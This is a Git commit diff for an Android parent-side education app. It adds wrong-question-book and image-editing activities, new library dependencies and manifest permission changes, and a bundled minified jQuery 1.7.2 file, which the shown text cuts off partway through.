Commit d3e82c2efdecf67ceffa02a34d48bb9f7b7e8104

Authored by zhanghaochen
1 parent e91fb2bcfd
Exists in master

家长端小新错题

Showing 172 changed files with 7888 additions and 52 deletions   Show diff stats

Too many changes.

To preserve performance only 100 of 172 files displayed.

... ... @@ -56,6 +56,9 @@ android {
56 56 checkReleaseBuilds false
57 57 abortOnError false
58 58 }
  59 + buildFeatures {
  60 + viewBinding true
  61 + }
59 62 compileOptions {
60 63 sourceCompatibility JavaVersion.VERSION_1_8
61 64 targetCompatibility JavaVersion.VERSION_1_8
... ... @@ -69,4 +72,10 @@ dependencies {
69 72 implementation 'com.google.android.material:material:1.6.1'
70 73 implementation 'androidx.constraintlayout:constraintlayout:2.1.4'
71 74 implementation 'com.github.CymChad:BaseRecyclerViewAdapterHelper:2.9.50'
  75 + implementation 'com.github.ForgetAll:LoadingDialog:1.1.2'
  76 + implementation 'com.github.DL-ZhangTeng:ImagePicker:1.5.0'
  77 +//使用的三方
  78 + implementation 'com.yalantis:ucrop:2.2.0'
  79 + implementation 'com.github.DL-ZhangTeng:RequestPermission:1.3.0'
  80 + implementation 'com.github.DL-ZhangTeng:Utils:2.2.0'
72 81 }
73 82 \ No newline at end of file
... ...
app/src/main/AndroidManifest.xml
... ... @@ -21,9 +21,12 @@
21 21 <uses-permission android:name="android.permission.CAMERA" />
22 22 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
23 23 <uses-permission android:name="android.permission.VIBRATE" />
  24 + <uses-permission
  25 + android:name="android.permission.WRITE_EXTERNAL_STORAGE"
  26 + tools:ignore="ScopedStorage" />
24 27  
25 28 <application
26   - android:name=".MyApplication"
  29 + android:name=".App"
27 30 android:allowBackup="true"
28 31 android:icon="@mipmap/icon"
29 32 android:label="@string/app_name"
... ... @@ -42,59 +45,81 @@
42 45 <activity
43 46 android:name=".MainActivity"
44 47 android:launchMode="singleTask"
45   - android:theme="@style/Theme.AppCompat.NoActionBar" />
  48 + android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
46 49 <activity
47 50 android:name=".RegisterActivity"
48 51 android:theme="@style/ThemeSplash" />
49 52 <activity
50 53 android:name=".UserActivity"
51   - android:theme="@style/Theme.AppCompat.NoActionBar" />
  54 + android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
52 55 <activity
53 56 android:name=".YinsiActivity"
54   - android:theme="@style/Theme.AppCompat.NoActionBar" />
  57 + android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
55 58 <activity
56 59 android:name=".QRActivity"
57   - android:theme="@style/Theme.AppCompat.NoActionBar" />
  60 + android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
58 61 <activity
59 62 android:name=".AddStudentActivity"
60   - android:theme="@style/Theme.AppCompat.NoActionBar" />
  63 + android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
61 64 <activity
62 65 android:name=".NickActivity"
63   - android:theme="@style/Theme.AppCompat.NoActionBar" />
  66 + android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
64 67 <activity
65 68 android:name=".SexActivity"
66   - android:theme="@style/Theme.AppCompat.NoActionBar" />
  69 + android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
67 70 <activity
68 71 android:name=".NianActivity"
69   - android:theme="@style/Theme.AppCompat.NoActionBar" />
  72 + android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
70 73 <activity
71 74 android:name=".ShenActivity"
72   - android:theme="@style/Theme.AppCompat.NoActionBar" />
  75 + android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
73 76 <activity
74 77 android:name=".UserAgreementActivity"
75   - android:theme="@style/Theme.AppCompat.NoActionBar" />
  78 + android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
76 79 <activity
77 80 android:name=".AccountActivity"
78   - android:theme="@style/Theme.AppCompat.NoActionBar" />
  81 + android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
79 82  
80 83 <activity
81 84 android:name=".ChangePwdActivity"
82   - android:theme="@style/Theme.AppCompat.NoActionBar" />
  85 + android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
83 86 <activity
84 87 android:name=".EditStudentActivity"
85   - android:theme="@style/Theme.AppCompat.NoActionBar" />
  88 + android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
86 89 <activity
87 90 android:name=".ChooseActivity"
88   - android:theme="@style/Theme.AppCompat.NoActionBar" />
  91 + android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
89 92 <activity
90 93 android:name=".AddTeacherActivity"
91   - android:theme="@style/Theme.AppCompat.NoActionBar" />
  94 + android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
  95 + <activity
  96 + android:name=".ErrorBookActivity"
  97 + android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
  98 + <activity
  99 + android:name=".ImageActivity"
  100 + android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
  101 + <activity
  102 + android:name=".ImageEditActivity"
  103 + android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
  104 + <activity
  105 + android:name=".ImageSelectActivity"
  106 + android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
  107 + <activity
  108 + android:name=".AddSuccessActivity"
  109 + android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
  110 + <activity
  111 + android:name=".ErrorListActivity"
  112 + android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
  113 + <activity
  114 + android:name=".ErrorDetailActivity"
  115 + android:theme="@style/Theme.AppCompat.Light.NoActionBar" />
92 116  
93 117 <provider
94 118 android:name="androidx.core.content.FileProvider"
95 119 android:authorities="com.hjx.parent.fileprovider"
96 120 android:exported="false"
97   - android:grantUriPermissions="true">
  121 + android:grantUriPermissions="true"
  122 + tools:replace="android:authorities">
98 123 <meta-data
99 124 android:name="android.support.FILE_PROVIDER_PATHS"
100 125 android:resource="@xml/file_provider_paths"
... ...
app/src/main/assets/jquery.min.js
... ... @@ -0,0 +1,6 @@
  1 +/*! jQuery v1.7.2 jquery.com | jquery.org/license */
  2 +(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g<i;g++){if(g===1)for(h in a.converters)typeof h=="string"&&(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k==="*")k=l;else if(l!=="*"&&l!==k){m=l+" "+k,n=e[m]||e["* "+k];if(!n){p=b;for(o in e){j=o.split(" ");if(j[0]===l||j[0]==="*"){p=e[j[1]+" "+k];if(p){o=e[o],o===!0?n=p:p===!0&&(n=o);break}}}}!n&&!p&&f.error("No conversion from "+m.replace(" "," to ")),n!==!0&&(c=n?n(c):p(o(c)))}}return c}function ca(a,c,d){var e=a.contents,f=a.dataTypes,g=a.responseFields,h,i,j,k;for(i in g)i in d&&(c[g[i]]=d[i]);while(f[0]==="*")f.shift(),h===b&&(h=a.mimeType||c.getResponseHeader("content-type"));if(h)for(i in e)if(e[i]&&e[i].test(h)){f.unshift(i);break}if(f[0]in d)j=f[0];else{for(i in d){if(!f[0]||a.converters[i+" "+f[0]]){j=i;break}k||(k=i)}j=j||k}if(j){j!==f[0]&&f.unshift(j);return d[j]}}function b_(a,b,c,d){if(f.isArray(b))f.each(b,function(b,e){c||bD.test(a)?d(a,e):b_(a+"["+(typeof e=="object"?b:"")+"]",e,c,d)});else if(!c&&f.type(b)==="object")for(var e in b)b_(a+"["+e+"]",b[e],c,d);else d(a,b)}function b$(a,c){var d,e,g=f.ajaxSettings.flatOptions||{};for(d in c)c[d]!==b&&((g[d]?a:e||(e={}))[d]=c[d]);e&&f.extend(!0,a,e)}function bZ(a,c,d,e,f,g){f=f||c.dataTypes[0],g=g||{},g[f]=!0;var h=a[f],i=0,j=h?h.length:0,k=a===bS,l;for(;i<j&&(k||!l);i++)l=h[i](c,d,e),typeof l=="string"&&(!k||g[l]?l=b:(c.dataTypes.unshift(l),l=bZ(a,c,d,e,l,g)));(k||!l)&&!g["*"]&&(l=bZ(a,c,d,e,"*",g));return l}function bY(a){return function(b,c){typeof b!="string"&&(c=b,b="*");if(f.isFunction(c)){var d=b.toLowerCase().split(bO),e=0,g=d.length,h,i,j;for(;e<g;e++)h=d[e],j=/^\+/.test(h),j&&(h=h.substr(1)||"*"),i=a[h]=a[h]||[],i[j?"unshift":"push"](c)}}}function bB(a,b,c){var d=b==="width"?a.offsetWidth:a.offsetHeight,e=b==="width"?1:0,g=4;if(d>0){if(c!=="border")for(;e<g;e+=2)c||(d-=parseFloat(f.css(a,"padding"+bx[e]))||0),c==="margin"?d+=parseFloat(f.css(a,c+bx[e]))||0:d-=parseFloat(f.css(a,"border"+bx[e]+"Width"))||0;return d+"px"}d=by(a,b);if(d<0||d==null)d=a.style[b];if(bt.test(d))return d;d=parseFloat(d)||0;if(c)for(;e<g;e+=2)d+=parseFloat(f.css(a,"padding"+bx[e]))||0,c!=="padding"&&(d+=parseFloat(f.css(a,"border"+bx[e]+"Width"))||0),c==="margin"&&(d+=parseFloat(f.css(a,c+bx[e]))||0);return d+"px"}function bo(a){var b=c.createElement("div");bh.appendChild(b),b.innerHTML=a.outerHTML;return b.firstChild}function bn(a){var b=(a.nodeName||"").toLowerCase();b==="input"?bm(a):b!=="script"&&typeof a.getElementsByTagName!="undefined"&&f.grep(a.getElementsByTagName("input"),bm)}function bm(a){if(a.type==="checkbox"||a.type==="radio")a.defaultChecked=a.checked}function bl(a){return typeof a.getElementsByTagName!="undefined"?a.getElementsByTagName("*"):typeof a.querySelectorAll!="undefined"?a.querySelectorAll("*"):[]}function bk(a,b){var c;b.nodeType===1&&(b.clearAttributes&&b.clearAttributes(),b.mergeAttributes&&b.mergeAttributes(a),c=b.nodeName.toLowerCase(),c==="object"?b.outerHTML=a.outerHTML:c!=="input"||a.type!=="checkbox"&&a.type!=="radio"?c==="option"?b.selected=a.defaultSelected:c==="input"||c==="textarea"?b.defaultValue=a.defaultValue:c==="script"&&b.text!==a.text&&(b.text=a.text):(a.checked&&(b.defaultChecked=b.checked=a.checked),b.value!==a.value&&(b.value=a.value)),b.removeAttribute(f.expando),b.removeAttribute("_submit_attached"),b.removeAttribute("_change_attached"))}function bj(a,b){if(b.nodeType===1&&!!f.hasData(a)){var c,d,e,g=f._data(a),h=f._data(b,g),i=g.events;if(i){delete h.handle,h.events={};for(c in i)for(d=0,e=i[c].length;d<e;d++)f.event.add(b,c,i[c][d])}h.data&&(h.data=f.extend({},h.data))}}function bi(a,b){return f.nodeName(a,"table")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function U(a){var b=V.split("|"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}function T(a,b,c){b=b||0;if(f.isFunction(b))return f.grep(a,function(a,d){var e=!!b.call(a,d,a);return e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b=="string"){var d=f.grep(a,function(a){return a.nodeType===1});if(O.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inArray(a,b)>=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+"defer",e=b+"queue",g=b+"mark",h=f._data(a,d);h&&(c==="queue"||!f._data(a,e))&&(c==="mark"||!f._data(a,g))&&setTimeout(function(){!f._data(a,e)&&!f._data(a,g)&&(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b==="data"&&f.isEmptyObject(a[b]))continue;if(b!=="toJSON")return!1}return!0}function l(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(k,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNumeric(d)?+d:j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\s+/);for(c=0,d=a.length;c<d;c++)b[a[c]]=!0;return b}var c=a.document,d=a.navigator,e=a.location,f=function(){function J(){if(!e.isReady){try{c.documentElement.doScroll("left")}catch(a){setTimeout(J,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+"").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.7.2",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),"slice",F.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j<k;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l&&f&&(e.isPlainObject(f)||(g=e.isArray(f)))?(g?(g=!1,h=d&&e.isArray(d)?d:[]):h=d&&e.isPlainObject(d)?d:{},i[c]=e.extend(l,h,f)):f!==b&&(i[c]=f)}return i},e.extend({noConflict:function(b){a.$===e&&(a.$=g),b&&a.jQuery===e&&(a.jQuery=f);return e},isReady:!1,readyWait:1,holdReady:function(a){a?e.readyWait++:e.ready(!0)},ready:function(a){if(a===!0&&!--e.readyWait||a!==!0&&!e.isReady){if(!c.body)return setTimeout(e.ready,1);e.isReady=!0;if(a!==!0&&--e.readyWait>0)return;A.fireWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").off("ready")}},bindReady:function(){if(!A){A=e.Callbacks("once memory");if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",B,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",B),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&J()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a!=null&&a==a.window},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){if(typeof c!="string"||!c)return null;var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g<h;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g<h;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:G?function(a){return a==null?"":G.call(a)}:function(a){return a==null?"":(a+"").replace(k,"").replace(l,"")},makeArray:function(a,b){var c=b||[];if(a!=null){var d=e.type(a);a.length==null||d==="string"||d==="function"||d==="regexp"||e.isWindow(a)?E.call(c,a):e.merge(c,a)}return c},inArray:function(a,b,c){var d;if(b){if(H)return H.call(b,a,c);d=b.length,c=c?c<0?Math.max(0,d+c):c:0;for(;c<d;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,c){var d=a.length,e=0;if(typeof c.length=="number")for(var f=c.length;e<f;e++)a[d++]=c[e];else while(c[e]!==b)a[d++]=c[e++];a.length=d;return a},grep:function(a,b,c){var d=[],e;c=!!c;for(var f=0,g=a.length;f<g;f++)e=!!b(a[f],f),c!==e&&d.push(a[f]);return d},map:function(a,c,d){var f,g,h=[],i=0,j=a.length,k=a instanceof e||j!==b&&typeof j=="number"&&(j>0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i<j;i++)f=c(a[i],i,d),f!=null&&(h[h.length]=f);else for(g in a)f=c(a[g],g,d),f!=null&&(h[h.length]=f);return h.concat.apply([],h)},guid:1,proxy:function(a,c){if(typeof c=="string"){var d=a[c];c=a,a=d}if(!e.isFunction(a))return b;var f=F.call(arguments,2),g=function(){return a.apply(c,f.concat(F.call(arguments)))};g.guid=a.guid=a.guid||g.guid||e.guid++;return g},access:function(a,c,d,f,g,h,i){var j,k=d==null,l=0,m=a.length;if(d&&typeof d=="object"){for(l in d)e.access(a,c,l,d[l],1,h,f);g=1}else if(f!==b){j=i===b&&e.isFunction(f),k&&(j?(j=c,c=function(a,b,c){return j.call(e(a),c)}):(c.call(a,f),c=null));if(c)for(;l<m;l++)c(a[l],d,j?f.call(a[l],l,c(a[l],d)):f,i);g=1}return g?a:k?c.call(a):m?c(a[0],d):h},now:function(){return(new Date).getTime()},uaMatch:function(a){a=a.toLowerCase();var b=r.exec(a)||s.exec(a)||t.exec(a)||a.indexOf("compatible")<0&&u.exec(a)||[];return{browser:b[1]||"",version:b[2]||"0"}},sub:function(){function a(b,c){return new a.fn.init(b,c)}e.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function(d,f){f&&f instanceof e&&!(f instanceof a)&&(f=a(f));return e.fn.init.call(this,d,f,b)},a.fn.init.prototype=a.fn;var b=a(c);return a},browser:{}}),e.each("Boolean Number String Function Array Date RegExp Object".split(" "),function(a,b){I["[object "+b+"]"]=b.toLowerCase()}),z=e.uaMatch(y),z.browser&&(e.browser[z.browser]=!0,e.browser.version=z.version),e.browser.webkit&&(e.browser.safari=!0),j.test(" ")&&(k=/^[\s\xA0]+/,l=/[\s\xA0]+$/),h=e(c),c.addEventListener?B=function(){c.removeEventListener("DOMContentLoaded",B,!1),e.ready()}:c.attachEvent&&(B=function(){c.readyState==="complete"&&(c.detachEvent("onreadystatechange",B),e.ready())});return e}(),g={};f.Callbacks=function(a){a=a?g[a]||h(a):{};var c=[],d=[],e,i,j,k,l,m,n=function(b){var d,e,g,h,i;for(d=0,e=b.length;d<e;d++)g=b[d],h=f.type(g),h==="array"?n(g):h==="function"&&(!a.unique||!p.has(g))&&c.push(g)},o=function(b,f){f=f||[],e=!a.memory||[b,f],i=!0,j=!0,m=k||0,k=0,l=c.length;for(;c&&m<l;m++)if(c[m].apply(b,f)===!1&&a.stopOnFalse){e=!0;break}j=!1,c&&(a.once?e===!0?p.disable():c=[]:d&&d.length&&(e=d.shift(),p.fireWith(e[0],e[1])))},p={add:function(){if(c){var a=c.length;n(arguments),j?l=c.length:e&&e!==!0&&(k=a,o(e[0],e[1]))}return this},remove:function(){if(c){var b=arguments,d=0,e=b.length;for(;d<e;d++)for(var f=0;f<c.length;f++)if(b[d]===c[f]){j&&f<=l&&(l--,f<=m&&m--),c.splice(f--,1);if(a.unique)break}}return this},has:function(a){if(c){var b=0,d=c.length;for(;b<d;b++)if(a===c[b])return!0}return!1},empty:function(){c=[];return this},disable:function(){c=d=e=b;return this},disabled:function(){return!c},lock:function(){d=b,(!e||e===!0)&&p.disable();return this},locked:function(){return!d},fireWith:function(b,c){d&&(j?a.once||d.push([b,c]):(!a.once||!e)&&o(b,c));return this},fire:function(){p.fireWith(this,arguments);return this},fired:function(){return!!i}};return p};var i=[].slice;f.extend({Deferred:function(a){var b=f.Callbacks("once memory"),c=f.Callbacks("once memory"),d=f.Callbacks("memory"),e="pending",g={resolve:b,reject:c,notify:d},h={done:b.add,fail:c.add,progress:d.add,state:function(){return e},isResolved:b.fired,isRejected:c.fired,then:function(a,b,c){i.done(a).fail(b).progress(c);return this},always:function(){i.done.apply(i,arguments).fail.apply(i,arguments);return this},pipe:function(a,b,c){return f.Deferred(function(d){f.each({done:[a,"resolve"],fail:[b,"reject"],progress:[c,"notify"]},function(a,b){var c=b[0],e=b[1],g;f.isFunction(c)?i[a](function(){g=c.apply(this,arguments),g&&f.isFunction(g.promise)?g.promise().then(d.resolve,d.reject,d.notify):d[e+"With"](this===i?d:this,[g])}):i[a](d[e])})}).promise()},promise:function(a){if(a==null)a=h;else for(var b in h)a[b]=h[b];return a}},i=h.promise({}),j;for(j in g)i[j]=g[j].fire,i[j+"With"]=g[j].fireWith;i.done(function(){e="resolved"},c.disable,d.lock).fail(function(){e="rejected"},b.disable,d.lock),a&&a.call(i,i);return i},when:function(a){function m(a){return function(b){e[a]=arguments.length>1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length>1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d>1){for(;c<d;c++)b[c]&&b[c].promise&&f.isFunction(b[c].promise)?b[c].promise().then(l(c),j.reject,m(c)):--g;g||j.resolveWith(j,b)}else j!==a&&j.resolveWith(j,d?[a]:[]);return k}}),f.support=function(){var b,d,e,g,h,i,j,k,l,m,n,o,p=c.createElement("div"),q=c.documentElement;p.setAttribute("className","t"),p.innerHTML=" <link/><table></table><a href='/a' style='top:1px;float:left;opacity:.55;'>a</a><input type='checkbox'/>",d=p.getElementsByTagName("*"),e=p.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=p.getElementsByTagName("input")[0],b={leadingWhitespace:p.firstChild.nodeType===3,tbody:!p.getElementsByTagName("tbody").length,htmlSerialize:!!p.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:p.className!=="t",enctype:!!c.createElement("form").enctype,html5Clone:c.createElement("nav").cloneNode(!0).outerHTML!=="<:nav></:nav>",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,pixelMargin:!0},f.boxModel=b.boxModel=c.compatMode==="CSS1Compat",i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete p.test}catch(r){b.deleteExpando=!1}!p.addEventListener&&p.attachEvent&&p.fireEvent&&(p.attachEvent("onclick",function(){b.noCloneEvent=!1}),p.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),b.radioValue=i.value==="t",i.setAttribute("checked","checked"),i.setAttribute("name","t"),p.appendChild(i),j=c.createDocumentFragment(),j.appendChild(p.lastChild),b.checkClone=j.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,j.removeChild(i),j.appendChild(p);if(p.attachEvent)for(n in{submit:1,change:1,focusin:1})m="on"+n,o=m in p,o||(p.setAttribute(m,"return;"),o=typeof p[m]=="function"),b[n+"Bubbles"]=o;j.removeChild(p),j=g=h=p=i=null,f(function(){var d,e,g,h,i,j,l,m,n,q,r,s,t,u=c.getElementsByTagName("body")[0];!u||(m=1,t="padding:0;margin:0;border:",r="position:absolute;top:0;left:0;width:1px;height:1px;",s=t+"0;visibility:hidden;",n="style='"+r+t+"5px solid #000;",q="<div "+n+"display:block;'><div style='"+t+"0;display:block;overflow:hidden;'></div></div>"+"<table "+n+"' cellpadding='0' cellspacing='0'>"+"<tr><td></td></tr></table>",d=c.createElement("div"),d.style.cssText=s+"width:0;height:0;position:static;top:0;margin-top:"+m+"px",u.insertBefore(d,u.firstChild),p=c.createElement("div"),d.appendChild(p),p.innerHTML="<table><tr><td style='"+t+"0;display:none'></td><td>t</td></tr></table>",k=p.getElementsByTagName("td"),o=k[0].offsetHeight===0,k[0].style.display="",k[1].style.display="none",b.reliableHiddenOffsets=o&&k[0].offsetHeight===0,a.getComputedStyle&&(p.innerHTML="",l=c.createElement("div"),l.style.width="0",l.style.marginRight="0",p.style.width="2px",p.appendChild(l),b.reliableMarginRight=(parseInt((a.getComputedStyle(l,null)||{marginRight:0}).marginRight,10)||0)===0),typeof p.style.zoom!="undefined"&&(p.innerHTML="",p.style.width=p.style.padding="1px",p.style.border=0,p.style.overflow="hidden",p.style.display="inline",p.style.zoom=1,b.inlineBlockNeedsLayout=p.offsetWidth===3,p.style.display="block",p.style.overflow="visible",p.innerHTML="<div style='width:5px;'></div>",b.shrinkWrapBlocks=p.offsetWidth!==3),p.style.cssText=r+s,p.innerHTML=q,e=p.firstChild,g=e.firstChild,i=e.nextSibling.firstChild.firstChild,j={doesNotAddBorder:g.offsetTop!==5,doesAddBorderForTableAndCells:i.offsetTop===5},g.style.position="fixed",g.style.top="20px",j.fixedPosition=g.offsetTop===20||g.offsetTop===15,g.style.position=g.style.top="",e.style.overflow="hidden",e.style.position="relative",j.subtractsBorderForOverflowNotVisible=g.offsetTop===-5,j.doesNotIncludeMarginInBodyOffset=u.offsetTop!==m,a.getComputedStyle&&(p.style.marginTop="1%",b.pixelMargin=(a.getComputedStyle(p,null)||{marginTop:0}).marginTop!=="1%"),typeof d.style.zoom!="undefined"&&(d.style.zoom=1),u.removeChild(d),l=p=d=null,f.extend(b,j))});return b}();var 